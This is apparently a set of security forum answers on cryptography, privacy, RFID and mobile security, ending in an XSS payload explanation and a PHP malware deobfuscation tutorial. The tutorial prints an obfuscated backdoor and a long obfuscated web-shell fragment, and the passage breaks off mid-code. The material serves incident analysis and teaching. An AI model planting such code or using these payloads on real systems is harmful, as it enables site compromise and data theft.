How do I get the subject public key from a PKCS7 message?

As you have noted, the public key is included in the Certificate. However, a PKCS7 message does not mandate the inclusion of the Certificate.

  The person signing may or may not include their X.509 certificate for the recipient to use to verify the signature. If it is not included, the recipient has to obtain a copy of the signer's certificate by other means.

(http://www.cryptosys.net/pki/manpki/pki_signeddata.html)

However, ISO 14533 (if the security product uses this standard) defines the Certificate field as Mandatory for signed data; AttributeCertificateV2 as Conditional; and, OtherCertificateFormat as Conditional.
(http://standardsproposals.bsigroup.com/Home/getPDF/2447)

Also, per https://www.ietf.org/rfc/rfc3852.txt, two of the five certificate formats are now obsolete:

      CertificateChoices ::= CHOICE {
   certificate Certificate,
   extendedCertificate [0] IMPLICIT ExtendedCertificate, -- Obsolete
   v1AttrCert [1] IMPLICIT AttributeCertificateV1,       -- Obsolete
   v2AttrCert [2] IMPLICIT AttributeCertificateV2,
   other [3] IMPLICIT OtherCertificateFormat }


When you use Tails it acts purely as a client. No need do deactivate something. Everything else would violate user expectations and threaten your privacy.


Why is VeraCrypt more secure than TrueCrypt?

Only through code review and testing.

Changes in iterations may indeed make those areas of the code more resilient to brute-forcing, but iterations are only a part of the overall architecture that needs to be considered.


What security concerns are there regarding website users inputting personal financial data without putting in personally identifying data?

It's the details that are confidential, but the outcome as the amount of dollars alone doesn't tell much to anyone. Before rushing to details like UX and UI one should define the desired use cases and functionality first. I see two possibilities, and both are good from your perspective:

The tool is intented for personal use of the user alone, and the profit your client gets is bound to the impression it leaves to the user i.e. the user desides to use the services based on the results. In this case the user experience of the form is highlighted, as it's purely for advertisement. However, it also makes it possible to do everything client-side and the application doesn't need to save any of the information on the server. Regarding PII this is the easiest solution.

If the application saves any possible PII, it's your client's responsibility to deside what information is collected and how it's stored and used. Depending on the jurisdiction there might be special requirements for that, e.g. EU GDPR, national privacy acts or even PCI DSS. You should have them to define their needs, and while you can give some advice, after you have finished with the project it's their data on their responsibility.


Visa Secure / TAN App showing wrong amount charged

Got a reply from my bank yesterday.
They confirmed that I authorized a 1 Eur payment to sipgate and that sipgate charged me 10 Eur instead.
This is possible because sipgate cancelled the 1 Eur transaction I authorized and then sent a 10 Eur transaction afterwards. The cancelled transaction doesn't show up anywhere in my account and I did not have to confirm or was notified of the 10 Eur transaction.
The bank confirmed this as valid process.
For me this shows how broken the payment system is. The authorization I have to do is just to guarantee the merchant that I gave him valid credit card data he can charge me from. But I have no control at all. The merchant can charge whatever amount, whenever he wants, as often he wants.
The fact that I just authorized a 1 Eur payment is worth nothing.


Why can protocols on higher layers be left unchanged?

You should think of OSI layers as packaging.

Let's say I want to ship a glass to you. I chose an original package for advertisement purposes, showing how nice is my product and what you can buy to add to your "glass" experience. That's the high layer of my protocol.

Then I put this package in a box filled with soft thingies because I don't want it to be broken by transportation. This is a second layer.

Then my shipment department enclose this box into a bigger package, with a label to be shipped to your home. Again, another layer.

Then the transporter put this box in a truck with many other boxes and instruct the driver to go to another delivery center, again another layer.

For what we know, the truck driver does not need to know :

where do the boxes go exactly in your home, he just needs to know your address
what protection are in the boxes, he just has to drive as safely as it's instructed in his contract
what exactly is in the boxes

Let's say now that I want to provide confidentiality to my shipment. Because, a curious driver could try to tamper with the packages to know what's inside, or steal it and resell it.

I can use a protocol where your packaged-soft-coated glass is also put into a metal box with a locker. It will protect it from tampering by the truck driver, as he won't be able to peek inside, or take the merchandise. It does not protect the lower layers, he could still dump all the fret into a lake, this is denial of service. Moreover, my locker does not care what's inside it. It could be your glass, it could be flowers or it could be empty. But it still serves the purpose of avoiding anyone other than you (and the shipper ofc) to know what is inside.

It goes the same for the protocols in the OSI. Lower layers does not care about what is happening in the upper layers. This is left for another agent to decode/handle it.

Edit for clarification: when we say "left unchanged" it does not mean the information is not processed. For SSL in particular, the payload of the SSL layer is an encryption of the packet of the higher layer. But when SSL operated in the other side, it will decrypt the original packet with no modification.


Tracing nuisance or malicious cellphone calls

The caller ID you get is what your provider tell you and in turn it's what the caller's provider claims. Even your service provider cannot trace the exact source of the call, it only knows what the caller's provider claims.

So you need the cooperation of your provider to give information about the call (mainly the caller's provider). Then you need the cooperation of the caller's provider and you give them your number and the time of call, then it could be possible for them to identify the caller.

The whole process is nearly impossible for the normal Joe to do. You need help from the authorities. Even then, don't really count on them. Depending on your jurisdiction, unless your caller is a "terrorist" or some high-profile criminal, they likely won't do anything.


How to keep data private where software requires an online check

When software "phones home" for licensing, it is exposing its own internal data to its developer, it's not exposing the data you created with it. The data you create are in separate files that are opened with the software.

If, on the other hand, you suspect that the software is intentionally also sending your private data to an off-site location, that's a separate issue that has nothing to do with "online verification before use" because the software could be doing this at any time. This situation is a trust issue, and can be verified with network monitoring.


How does the ruby vulnerability affect me?

CVE-2013-4562 is a CSRF vulnerability in the "omniauth-facebook". Since whatever app you're developing is only available on your local machine, there's no way for an attacker to exploit this.

CVE-2013-5671 is a vulnerability in the image processing library which allows attackers to execute malicious code as the user Ruby runs as with a specially crafted image file. As always, your app is only available on the local machine and the only way to exploit this is to convince you (the user) to download that image and pass it through this library.

CVE-2014-0130 is a vulnerability that allows an attacker to read any file from the filesystem using a specially crafted request, assuming that the user Ruby runs as has the permissions to read this file. This is probably the scariest one of all three, but as always since your app is only available from your machine and isn't open to the internet, you are safe.

You are safe as long as your app isn't open to the entire internet (your router/firewall takes care of that).


Access control on a primarily windows LAN

AD is the ultimate place to go, so don't overlook it, but it may be overkill for your environment.

Quick and dirty response:

Look at classifying your data, assigning owners of the data (Data Owners), and assign permissions to assets (files, devices, etc.) based on roles (Finance, Finance Managers, IT, IT Managers, Sales, Sales Managers, etc.). Who maintains the list of users who belong to each group as the people change is up to your specific organization (central authority or each Data Owner).

As for disgruntled employees who are no longer with the company, make sure that you revoke access ASAP. If they are still with the company, then you need to have good backups...

Backup devices should be encrypted with the key properly secured. Store backup media offsite and have a process by which you validate backups (regular test restores) and that you destroy data that is no longer needed. (Data owners define when data needs to be destroyed or retained).


What exactly is CTF and how can I as programmer prepare for a CTF with beginner-friendly people?

CTFs (Capture The Flag) are like courses within games. Some website provide easy ones to learn the ropes, with simple challenges of increasing difficulty. For example http://overthewire.org/wargames/ will teach you how to use tools (Hex dump, vi, even the terminal itself) with each challenge.

The main goal is usually to find some code, either embedded in a file (stegano), hidden in a file inside a server where you will need to abuse a known vulnerability (regular CTFs), or even exploit a program's source code to find a secret password (reversing).

Just like any programming challenge, take your time, learn the tools, and don't be afraid to look for help or writeups (obviously not on the CTF you're trying to achieve), but they can provide insight on tools to use, depending on the type of challenge.

Some links :

https://www.hackthebox.eu/ : Various categories of CTF as explained above, ranging from easy to hard, lots of writeups

http://overthewire.org/wargames/ : Mostly regular CTFs with a file hidden in a server, and specific rules to find/decrypt it. Good for beginners, will teach you the basic tools


Are there general guidelines (or better yet, compliance standards) for assessing the risks of a cloud-based API?

I'm not aware of any standard that would apply specifically to an API. I think the assessment of whether it's good enough will need to be driven by the purpose of the API. If the API is used to gather local date, time, weather information, etc. it will require very different security controls than one which retrieves credit card transactions or shares your own company's protected information (for whatever value of "protected" your company has defined).

In any event, there's not much magic to an API -- it is essentially an external programmatic connection to another service. The way you assess or secure that will be similar to the way you would do so with your own addition of code, library, or functionality that involves exchanging data with a third party.


Is GPON uniquely vulnerable to eavesdropping exploits from neighbors on same network? If so, why?

DISCLAIMER:  I am not a patent attorney, and I am not well versed in GPON networks.  The following is my layman's take on US Patent 10,904,649.
I took a look at the patent that you referenced (US Patent 10,904,649).
After reading the text and looking at the drawings, I agree with your conclusion that the invention disclosed in the '649 patent generally aims to solve the problem where peers on the same GPON can see each others' traffic.  However, I don't believe the method claimed in the '649 patent uses encryption to solve the problem.
As you point out, methods to solve this problem have existed for a many years (long before the application was filed in 2019).  The fundamental requirements for patentability are uniqueness and non-obviousness.  So, what's unique and non-obvious here?
To answer these questions, I took a look at the claims of the '649 patent, to see exactly what is claimed in the specification.  As you may know, the claims of a patent specify exactly what systems/methods another entity may not [build | use | sell | export] - without obtaining a license to do so from the assignee of the patent (otherwise this entity would be infringing the patent).
There are only four claims in the '649 patent, and only one of these claims (claim 1) is an independent claim (the other four claims are dependent claims of claim 1, which means they are 'special cases' of claim 1).  Claim 1 reads:
1. A digital data network communication method comprises:
  accepting a plurality of private data streams into at least one passive optical network interface router serving a plurality of private user devices through a plurality of optical network units (ONUs);
  configuring said at least one passive optical network interface router to virtually separate information intended for each of said plurality of private user devices, wherein said configuring comprises:
    generating an independently unique virtual routing table for each of said plurality of private user devices using Virtual Routing and Forwarding (VRF);
    uniquely tagging ethernet frames contained in said plurality of private data streams and intended for said first one of said plurality of private user devices according to entries in a first one of said virtual routing tables associated with said first one of said private user devices using Multi Protocol Label Switching (MPLS) to form MPLS tagged data packages;
    sending said MPLS tagged data packages to a passive optical networks optical line terminal (OLT);
    aggregating within said OLT said MPLS tagged data packages into a common data feed; distributing said common data feed to said plurality of ONUs;
    wherein said distributing comprises: replicating said common data feed using at least one optical splitter connected to said plurality of ONUs;
    extracting, at each of said plurality of ONUs, from said common data feed those MPLS tagged data packages intended for a specific one of said plurality of private user devices.

As you can see from the above claim - there is no mention of encryption, or anything relating to encryption, anywhere in the text.  However, after reading the above claim, my feeling is that this a very specific method of solving the problem where peers on the same GPON can see each others' traffic.
Often with patent prosecution, the original patent application filed by the inventor contains very broad claims for systems/methods aimed at solving some problem.  During examination, the examiner often finds 'prior art' that predates the systems and methods described in the claims.  The inventor can then go back, and narrow the scope of their claims, or eliminate some of the claims altogether, to avoid 'reading on' the prior art.  Then, the inventor can submit the revised claims for re-examination.  This tends to result in fewer claims that are much narrower, and much more specific.  This may have been what happened with patent application that eventually matured into the '649 patent.  A look at the patent file wrapper (which shows the back-and-forth between the inventor's attorney and the patent examiner during examination, as well as each revision of the inventor's claims) would show if this is what happened in this case.


Attacks against unencrypted android phones?

The main issue with an "unencrypted" device is obviously a local attack. Someone will acquire the phone in question and extract the typically personal messages, files, keys, and so on. An unlock pattern or PIN is usually required to go beyond that, such as installing/side-loading apps.

There are many tools on the market, and range in quality. Some are simple pieces of software which only work on phones without an unlock pattern, all the way to pieces of hardware which are capable of brute forcing both the encryption keys and/or unlock pattern.

Depending on your threat model, traversing an international border might be of some concern, or even if you live in certain countries. As Radio Free Asia notes:

  Government procurement documents cited by Reuters showed that police
  stations in almost every Chinese province have been acquiring special
  data-extraction devices for smartphones since the ...

The major concern really seems to be that people place banking information and other sensitive pieces of information on their phones. If it was stolen, it could lead to identity fraud, which is massive ordeal to sort out (see the first 3 lines of LifeLock's history). Information like a SIN/SSN can be easily converted for cash on the blackmarket, especially in volume.

Most device encryption succumbs to the very low-tech "rubber-hose" attack for obvious reasons. That is why threat modeling is important to do, as 3DES or RC4 may prove enough to stop street thieves getting information off the phone. Encryption doesn't prevent thieves wiping the phone and selling it "as is", or authorities forcing you to produce the encryption keys in one form or another.

Identity theft is a large reason why paper shredder campaigns are pushed to home/small office users, which can be offered as a comparison to "device encryption" on some level.


What is the current state of RFID / NFC security?

Most proximity card based systems use some variation of ISO 14443 to communicate between the card and the reader, but are not necessarily based on NFC.  (RFID is a rather all-encompassing term, itself covering almost any use of radio waves to identify a target.)  Beyond that, there has been significant evolution in what is sent across the RF.

Many people think of RFID tags that send a single static number when they're interrogated, and these tags do exist -- they're often used for inventory tracking or similar functions.  They're not, however, generally used for access control.  Systems for access control involve challenge-response and cryptography in their operations.

Even the long-broken MIFARE Classic uses cryptography, but it uses an only 48-bit key, and some weaknesses were identified that allow for ciphertext-only attacks or active attacks when talking to the reader.  Since 2015, NXP has recommended new installations not use MIFARE classic.

More modern systems like DESFire EV2 have not yet shown cryptographic weaknesses, but that is no guarantee of long-term strength, it's just not currently possible to clone such a card.  (As you don't have the right keys to talk to the card.)  Of course, if you can get your hands on a legitimate reader with the keys baked in, you can read them, but I believe NXP recommends a per-site key.

Over in the HID side of things, they use a slightly different technology.  HID proxcards (iClass and so forth) have actually been remarkably resilient in general.  iClass was problematic because of a globally shared key -- IIRC, it was originally extracted from a reader that did not use a secure element to store the key.  iClass SE rotated the key and allowed individual sites to reprogram readers to use custom keys.  iClass SEOS actually runs a full JavaCard so can do a number of things with the embedded chip.  At the very least, it will be able to emulate iClass SE (and I believe they've licensed DESFire EV2 and can emulate it as well).

Despite all of that research, very many sites are still using HID iClass, classic Proxcard, or MIFARE Classic for access control.  In the consulting world, you'll see no shortage of opportunities for badge cloning.


Security of RDPs and infected host system

Yes, they can "piggy back" on the connections because keystrokes are first handled by the operating system and then sent to the correct Window. VMs and RDP work if you can easily reset the machines to a clean state. The golden rule is then to use your OS from which your run your RDP (or on which your hypervisor runs) only to access these services and for nothing else.


Users can change their password with the same password

I don't believe there are risks involved depending on the implementation. In the comments you pointed out the case is that a breach has occurred and the user was notified to change their password. In this specific case, depending on the complexity and length of the password in combination with the hash (and salt/pepper), the password might be cracked and a malicious user could login using the new same credentials which is a severe risk.

As I pointed out, it depends on the implementation. For example, if you use a one time password (like Wordpress) and an user can change the password to the same password, a malicious user might get access to the email account at some point in the future and find the one time password. Because the user now uses the same password permanently, a malicious user can now login.

To be fair, this is low risk and depending on the account, the implications could also be low so there is no real risk unless the password was leaked like you said in your comments.


How does FileVault 2 work with multiple decryption keys?

My guess would be that it really encrypts the drive with a master key, then encrypts copies of the master key using valid user's passwords. Enter your password, and the system decrypts the master key. It then uses the master key to decrypt the data.

UPDATE

I found a cnet article which says:

  The way FileVault 2 works is that the OS sets up a recovery partition
  that is used to store the encrypted keys used to unlock the
  encryption. The recovery partition is created for all Lion
  installations and is used for maintenance of the system, but will be a
  requirement to have if you wish to enable full disk encryption on the
  boot drive.

  When the system boots, it accesses the recovery drive and loads the
  login screen to present to you. When you then supply your password it
  unlocks the boot drive and continues to load the OS and your user
  account before dropping you to your desktop. As a result of this, the
  preboot login screen may show much quicker on systems with FileVault 2
  enabled than on those that do not.

This doesn't exactly tell (and the exact details are probably not out there), but it could be as I originally said. What I described would be more secure than just storing the master key in plaintext.


What is asymmetric information in relation to information security?

Asymmetric information is an economic term, not an information security term. Asymmetric information is when one party in a market has more information than other parties in the same market. The theory is that asymmetric information is bad because it prevents the market from operating efficiently, and gives few parties advantage over many parties in the market. It is also in contract theory where you have 2 negotiating parties instead of a market.

In the quote above security flaws are a market, and one party has more information about that market than others. My interpretation is that the information asymmetry conveys a benefit to few while allowing all others to be exploited. The costs to the world at large from being exploited by the bug probably outweigh the benefits to the party withholding the information.

Asymmetric information happens whenever one party knows more about something than one or more other parties, and is all around us in the information security world. A few examples are:

Cyber criminals find flaws which they exploit
Exploited parties do not disclose breaches
Vendors do not always share all relevant information on their products

That's just to name a few common examples, there are many more out there.


Designing a Capture The Flag target and game management system

As mentioned by this.josh, you can look at multiple already existing vulnerable applications in this question or you might try to find existing CTF source codes - for example, look at the OWASP hackademic challenges. You might just take one of these and modify them slightly for your students. Also, try to contact authors of past CTF's - they might help you by giving their source codes. Here's a handy calendar of various CTF challenges with appropriate links.


Can an iOS 7 app access either device camera without user knowledge?

As of iOS 8, apps do need to request access to the cameras. When an app on iOS 8 attempts to access a camera, it shows a system alert and requests the user to accept the access before the app is allowed. Denying the access will prohibit the app from accessing the camera.

For iOS 7 in your question, yes, an app can access either camera without requesting the user's permission (except in China as you found out). All apps have unrestricted access to view the camera feed of either the front-facing or rear-facing camera and take pictures/videos.

However, access to the Camera Roll to save such media does require the user's consent. Most apps on the App Store request access to photos immediately so as to not interrupt the user whilst they take their first picture, however this is simply to gain access to the general location for saving the media, not for accessing the camera itself. Apps are fully able to capture pictures and video from either camera at will without requesting permission providing it saves the media within the app's sandbox.


Can JavaScript encryption's problems be mitigated?

Obviously, the development of the Web Crypto API indicates that there is a future for encryption in Javascript on the internet.  (Or at least the W3C believes so!)

You can now generate secure random numbers and perform cryptographic operations efficiently, so you can use it for cases like you have described.  (Another example could be to protect you in case of a passive observer in a position like Cloudflare.)

As you've pointed out, you still need TLS to provide integrity, for a failure there would allow an attacker to modify/inject malicious javascript.  However, your proposal might mitigate concerns like BREACH, CRIME, and similar vulnerabilities.  (Depending on your implementation, it might also help in the case of issues like Heartbleed.)

One problem you haven't considered is ensuring that your cryptography is adequately well-implemented that it doesn't open you up to new attacks.  Cryptography is not a panacea, and if done poorly, it can make life worse.  (For example, it might lead to new timing or ciphertext size-related attacks.)


How to crack (get secret from) Android Keystore System

Strong box, hardware backed keystore and software backed keystore cannot protect sensitive data from getting compromised by root user. Keystore saves cryptographic blobs of apps for encryption, signing, attestation and authentication. Any app with root privileges can impersonate other apps and have their sensitive data decrypted or signed by the keystore by issuing a legitimate request on behalf of other apps and system.
It doesn't matter how sensitive data is secured, it has to be loaded in memory in order to be used by the app. A code injection by root user can dump anything in memory which is supposed to be secured. What hardware backed keystore and strong box can do is to securely verify device integrity such as whether chain of trust is custom, whether bootloader is unlocked, hash of OEM public key, hash of /vbmeta image, etc. Then they can certify this information using their private key and send it to the web service. Root cannot tamper with TEE signed data without knowing its private key or without Google certified public key.
If the device integrity is broken, web service can refuse service to the client. Software backed keystore cannot verify device integrity as its private key is not secured in tamper-resistant isolated storage. Software backed keystore keys can be found in /data/misc/keystore/user_0/. The keys are encrypted with the screen lock pin/pattern/password but if you remove this lock the keys are decrypted. Software backed keystore is deprecated from android 7+.


If i connect to a VPN server using cicso anyconnect or PPTP protocol which has invalid certificate, can they sniff my HTTPS data?

In general, TLS MiTM can replace one self signed cert with another and then see all your traffic.
When you click through the error for a self-signed certificate and connect to the HTTPS server regardless, unless you have viewed the certificate hash (fingerprint) or the public key's hash (fingerprint) and verified it is the same value as last time (when you are reasonably sure you were not MiTM'd), the self-signed certificate can be replaced by another self-signed certificate and you wouldn't notice. Anyone in main-in-the-middle position can do that and then read (and modify!) all traffic.
Checking that the certificate (or public key) are the same as values you trust is called certificate pinning. Some apps do this in code, with the trusted hash baked into the code, and then it makes sense and means using self-signed certs (or certs issued by an untrusted corporate CA) is secure.
Performing the certificate pinning check manually is possible, but I would not trust a user to do it diligently.
But this only lets you know whether the certificate is different from last time. How do you know the certificate is good the first time? If you are MiTM'd the first time, verifying on subsequent connections that the cert is the same won't help. That is kinda the problem with self-signed certs and what CAs like Let's Encrypt solve. But if you have an out-of-band way to know the cert is legit on the first connection (e.g. site owner published hash of cert on twitter), relying on pinning for subsequent connections is ok.
Why not use a trusted Let's Encrypt certificate?
If you mean the certificate of the VPN itself is self-signed, then apply all of the above to a MiTM between yourself and the VPN. But HTTPS connections using legit certificates performed inside the VPN should be secure from the VPN operator. They will know which sites you connect to, but they will not see your passwords. Traffic analysis can let them guess the content you browse based on data sizes and timing. For example, popular netflix movies and wikipedia articles are recognizable in encrypted traffic just by the size of the download!


It's a payload for a sink inside a JavaScript string context. It might eg exploit the following vulnerable code:

<script>var x = "[user input]";// process x</script>

The payload uses confirm because some applications filter alert; using `` removes the need for ( and ) in the payload, and the biggest advantage is that subtraction (-) is used to add new statements (in place of eg ;).

An alternative payload exploiting the same issue would eg be ";alert(1);x=". But "-confirm``-" has the advantage that it leaves the rest of the code completely intact. It can eg be used in contexts such as this, where other generic payloads may fail:

<script>
x("[user input]");
function x(y) {
    alert(y);
}
</script>

If you weren't using subtraction in your payload, you would need to "fix" the code before and after your injection  (eg ");alert(1);//. But that payload isn't generic anymore (it wouldn't work for the first example).


I found unknown PHP code on my server. How do I de-obfuscate the code?

Fortunately, almost all PHP scripts can be deobfuscated with 4 simple methods. We're going to use these four methods to create a canonical answer.
Before we begin, let's collect a list of common tools that assist in deobfuscating these malicious files so we can do the work ourselves.

Common tools that aid in deobfuscation

UnPHP. This greatly aids in de-obfuscating scripts that have nested obfuscation in excess of 100 nested functions. In many cases, this website, and those like it, should be the first one for you to visit. However, in some cases, UnPHP cannot deobfuscate the initial payload. In those cases, other tools we'll list will suffice.
PHP Beautifier. This is an excellent tool for splitting up single-line files which are otherwise very difficult to read.
Base64 decoders. I'm linking to Google search for this one. Some of these Base64 websites look kind of shady, so if you prefer to use an offline version without visiting those websites, I whipped up a quick tool for Windows (get Base64Decode.exe). Source code is available as well.
PHP Sandbox. You can also look for other sandboxes on google. We'll use this to run echo commands when needed.

Commonly exploited PHP functions
The vast majority of hacks are using some form of eval, or preg_place, or both:

eval(). This can be an evil function, as it allows arbitrary execution of PHP code. Just finding this function in use on your website could be an indication that you've been hacked.
preg_replace(). Frequently used with eval() to allow for arbitrary code execution. There are plenty of good uses for preg_replace(), but if you don't know how it got there, and especially if it appears alongside obfuscated code, that's a clear indication that you've been hacked.
Additional Information. To prevent this answer from becoming too large, I'm going to link to this question about commonly-exploited PHP functions.
Also, check out the OWASP PHP Cheat Sheet.

While base64_decode is used in nearly all of the hacks we've come across, it mainly serves as a layer of obfuscation.

Common obsfuscation formats
There are several different ways that hackers obfuscate their code. Let's list some of the common techniques so we know how to spot them and then decode them:

Hex Encoding. You'll be looking for the HEX number on that table list. In PHP, these can be represented by backslash x, followed by a number or letter. Examples:

\x48 = H
\x34 = 4
\x78 = x

However, they aren't necessarily represented only by \x. They could be \# as well.
2. Unicode strings. Almost the same as above, but \u# instead of \x#. Examples:

\u004D = M
\u0065 = e
\u0020 =   (space)
\u0070 = p
\u006c = l
\u0073\ = s

Base64 encoding. Base64 is a bit different than the aforementioned methods of obfuscation, but is still relatively easy to decode. Example strings:

SSBsaWtlIGRvbnV0cw== = I like donuts
ZXZhbChiYXNlNjRfZGVjb2RlKCJoYXgiKSk7 = eval(base64_decode("hax"));
QXNzdW1pbmcgZGlyZWN0IGNvbnRyb2w= = Assuming direct control

Garbage stored in a string, split by for loops, regex, etc. You'll have to decode that yourself, as they vary considerably. Fortunately, many of the aforementioned methods should assist you in de-obfuscating this time.

How can I deobfuscate PHP Files by myself?
Because we cannot help (we can, I can, but they won't let me! :P) with every single PHP malware snippet out there, it would be better to teach you how to do it.
Learning how to do this yourself will help you learn more about PHP, and more about what's going on. Let's put our tools to use, and use two previous examples of PHP deobfuscation on this website.

Deobfuscation Example #1
Refer to this question. Copy and paste the code into UnPHP:
<?php preg_replace("\xf4\x30\41\x1f\x16\351\x42\x45"^"\xd7\30\xf\64\77\312\53\40","\373\x49\145\xa9\372\xc0\x72\331\307\320\175\237\xb4\123\51\x6c\x69\x6d\x72\302\xe1\117\x67\x86\44\xc7\217\x64\260\x31\x78\x99\x9c\200\x4"^"\273\40\13\312\x96\265\x16\xbc\x98\xbf\x13\374\xd1\x7b\x4b\15\32\x8\104\xf6\xbe\53\2\345\113\xa3\352\114\x92\155\111\xbb\xb5\251\77","\206\65\x30\x2f\160\x2\77\x56\x25\x9a\xf\x6\xec\317\xeb\x10\x86\x0\244\364\255\x57\x53\xf3\x8d\xb9\13\x5c\2\272\xc5\x97\215\347\372\x83\x74\367\x28\x2e\xd1\x36\x72\177\223\x3c\xb2\x1a\x96\271\127\x3b\337\xcf\277\317\xb7\4\214\271\xb2\235\71\xa6\x3d\205\325\127\336\70\xd6\x7c"^"\312\7\x58\131\x12\x55\152\146\151\250\76\166\210\207\x9b\x22\xdf\127\xcc\x9e\xe1\144\x11\302\324\324\x73\x2c\133\213\374\xf8\xe9\240\313\xf0\x38\305\x6e\x54\xb2\4\x24\x4f\360\105\213\152\xf4\xee\64\x4d\275\x88\206\xa1\325\x35\265\xc3\xd0\xca\177\xd5\x5f\xc6\xe0\40\274\x55\xb5\x41"); ?>

And you'll see it doesn't deobfuscate it for us. Bummer. We're going to have to do some extra work. Note the strings, along with it's concatenations. Argh! It's so ugly and confusing! What are we going to do with these strings? This is where the PHP sandbox comes into play.
<?php
    echo "\xf4\x30\41\x1f\x16\351\x42\x45"^"\xd7\30\xf\64\77\312\53\40" . "
";
    echo "\373\x49\145\xa9\372\xc0\x72\331\307\320\175\237\xb4\123\51\x6c\x69\x6d\x72\302\xe1\117\x67\x86\44\xc7\217\x64\260\x31\x78\x99\x9c\200\x4"^"\273\40\13\312\x96\265\x16\xbc\x98\xbf\x13\374\xd1\x7b\x4b\15\32\x8\104\xf6\xbe\53\2\345\113\xa3\352\114\x92\155\111\xbb\xb5\251\77" . "
";
    echo "\206\65\x30\x2f\160\x2\77\x56\x25\x9a\xf\x6\xec\317\xeb\x10\x86\x0\244\364\255\x57\x53\xf3\x8d\xb9\13\x5c\2\272\xc5\x97\215\347\372\x83\x74\367\x28\x2e\xd1\x36\x72\177\223\x3c\xb2\x1a\x96\271\127\x3b\337\xcf\277\317\xb7\4\214\271\xb2\235\71\xa6\x3d\205\325\127\336\70\xd6\x7c"^"\312\7\x58\131\x12\x55\152\146\151\250\76\166\210\207\x9b\x22\xdf\127\xcc\x9e\xe1\144\x11\302\324\324\x73\x2c\133\213\374\xf8\xe9\240\313\xf0\x38\305\x6e\x54\xb2\4\x24\x4f\360\105\213\152\xf4\xee\64\x4d\275\x88\206\xa1\325\x35\265\xc3\xd0\xca\177\xd5\x5f\xc6\xe0\40\274\x55\xb5\x41" . "
";
?>

Now that we've echo'd the contents, we can rebuild it to get the following results:
<?php
    preg_replace("#(.+)#ie", "@include_once(base64_decode("\1"));",
    "L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc";
?>

Note the string, L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc? That looks an awful lot like the Base64 encoding we talked about earlier! Let's try to decode it and see if we're right:
/home4/mitzvahc/public_html/assets/img/logo_small.png

After opening the logo_small.png file in some kind of text editor, we find something like this:
eval(gzuncompress(base64_decode("evil_payload")));

Oh no!!!
If you run the file contents through UnPHP, you should get your decoded results.

Deobfuscation Example #2
Refer to this question:
Remember earlier when we mentioned ASCII encoding? Take a look at the code:
<?php
    ${"\x47LOB\x41\x4c\x53"}["\x76\x72vw\x65y\x70\x7an\x69\x70\x75"]="a";${"\x47\x4cOBAL\x53"}["\x67\x72\x69u\x65\x66\x62\x64\x71c"]="\x61\x75\x74h\x5fpas\x73";${"\x47\x4cOBAL\x53"}["\x63\x74xv\x74\x6f\x6f\x6bn\x6dju"]="\x76";${"\x47\x4cO\x42A\x4cS"}["p\x69\x6fykc\x65\x61"]="def\x61ul\x74\x5fu\x73\x65_\x61j\x61\x78";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["i\x77i\x72\x6d\x78l\x71tv\x79p"]="defa\x75\x6c\x74\x5f\x61\x63t\x69\x6f\x6e";${"\x47L\x4fB\x41\x4cS"}["\x64\x77e\x6d\x62\x6a\x63"]="\x63\x6fl\x6f\x72";${${"\x47\x4c\x4f\x42\x41LS"}["\x64\x77\x65\x6dbj\x63"]}="\x23d\x665";${${"\x47L\x4fB\x41\x4c\x53"}["\x69\x77\x69rm\x78\x6c\x71\x74\x76\x79p"]}="\x46i\x6cesM\x61n";$oboikuury="\x64e\x66a\x75\x6ct\x5fc\x68\x61\x72\x73\x65t";${${"\x47L\x4f\x42\x41\x4cS"}["p\x69oy\x6bc\x65\x61"]}=true;${$oboikuury}="\x57indow\x73-1\x325\x31";@ini_set("\x65r\x72o\x72_\x6cog",NULL);@ini_set("l\x6fg_er\x72ors",0);@ini_set("max_ex\x65\x63\x75\x74\x69o\x6e\x5f\x74im\x65",0);@set_time_limit(0);@set_magic_quotes_runtime(0);@define("WS\x4f\x5fVE\x52S\x49ON","\x32.5\x2e1");if(get_magic_quotes_gpc()){function WSOstripslashes($array){${"\x47\x4c\x4f\x42A\x4c\x53"}["\x7a\x64\x69z\x62\x73\x75e\x66a"]="\x61\x72r\x61\x79";$cfnrvu="\x61r\x72a\x79";${"GLOB\x41L\x53"}["\x6b\x63\x6ct\x6c\x70\x64\x73"]="a\x72\x72\x61\x79";return is_array(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x7ad\x69\x7ab\x73\x75e\x66\x61"]})?array_map("\x57SOst\x72\x69\x70\x73\x6c\x61\x73\x68\x65s",${${"\x47\x4cO\x42\x41LS"}["\x6b\x63\x6c\x74l\x70\x64\x73"]}):stripslashes(${$cfnrvu});}$_POST=WSOstripslashes($_POST);$_COOKIE=WSOstripslashes($_COOKIE);}function wsoLogin(){header("\x48\x54TP/1.\x30\x204\x30\x34\x20\x4eo\x74 \x46ound");die("4\x304");}function WSOsetcookie($k,$v){${"\x47\x4cO\x42ALS"}["\x67vf\x6c\x78m\x74"]="\x6b";$cjtmrt="\x76";$_COOKIE[${${"G\x4c\x4f\x42\x41LS"}["\x67\x76\x66\x6cxm\x74"]}]=${${"GLO\x42\x41\x4cS"}["\x63\x74\x78\x76t\x6f\x6fknm\x6a\x75"]};$raogrsixpi="\x6b";setcookie(${$raogrsixpi},${$cjtmrt});}$qyvsdolpq="a\x75\x74\x68\x5f\x70\x61s\x73";if(!empty(${$qyvsdolpq})){$rhavvlolc="au\x74h_\x70a\x73\x73";$ssfmrro="a\x75t\x68\x5fpa\x73\x73";if(isset($_POST["p\x61ss"])&&(md5($_POST["pa\x73\x73"])==${$ssfmrro}))WSOsetcookie(md5($_SERVER["H\x54\x54P_\x48\x4f\x53T"]),${${"\x47L\x4f\x42\x41\x4c\x53"}["\x67\x72\x69\x75e\x66b\x64\x71\x63"]});if(!isset($_COOKIE[md5($_SERVER["\x48T\x54\x50\x5f\x48O\x53\x54"])])||($_COOKIE[md5($_SERVER["H\x54\x54\x50_H\x4fST"])]!=${$rhavvlolc}))wsoLogin();}function 